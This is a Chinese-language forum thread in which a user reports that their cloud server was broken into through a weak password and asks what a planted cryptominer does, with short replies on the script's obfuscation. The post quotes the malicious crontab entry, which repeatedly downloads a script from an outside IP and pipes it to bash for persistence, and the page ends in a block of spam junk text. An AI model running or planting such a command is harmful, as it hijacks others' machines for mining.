腾讯云小主机被入侵部了一个挖矿程序 - V2EX
wmhx

腾讯云小主机被入侵部了一个挖矿程序

  •  
  •   wmhx Jan 16, 2020 3343 views
    This topic created in 2308 days ago, the information mentioned may be changed or developed.

    好久没登录了, 今天发现很卡,就发现有个简单密码的用户的 crontab 被改了执行一个 msr 程序:

    crontab -l: */15 * * * * [ "$(ps -fe|grep msr|grep -v grep|wc -l)" -eq 0 ] && wget -qO - http://185.43.207.36/.d/test.sh | bash @reboot [ "$(ps -fe|grep msr|grep -v grep|wc -l)" -eq 0 ] && wget -qO - http://185.43.207.36/.d/test.sh | bash

    那个 test.sh 可以下载,没看懂内容, 只知道执行了一个 msr 的程序特别耗 CPU;

    没看出来这是啥东西. 谁帮忙给介绍下.

    3 replies    2020-01-19 02:19:50 +08:00
    opengps
        1
    opengps  
       Jan 16, 2020
    不知道是种什么脚本,不知道执行的程序是不是通过脚本下载的
    neighbads
        2
    neighbads  
       Jan 17, 2020   1
    前面就是一堆变量, 第二行 展开后是

    echo “$s 的 base64 编码” | rev |base64 -d

    然后得到的一堆再 eval、里面有 msr 的下载,写的乱糟糟

    yanheqi
        3
    yanheqi  
       Jan 19, 2020
    为什么会被入侵?密码太简单被破解?
    About     Help     Advertise     Blog     API     FAQ     Solana     3080 Online   Highest 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 42ms UTC 14:54 PVG 22:54 LAX 07:54 JFK 10:54
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86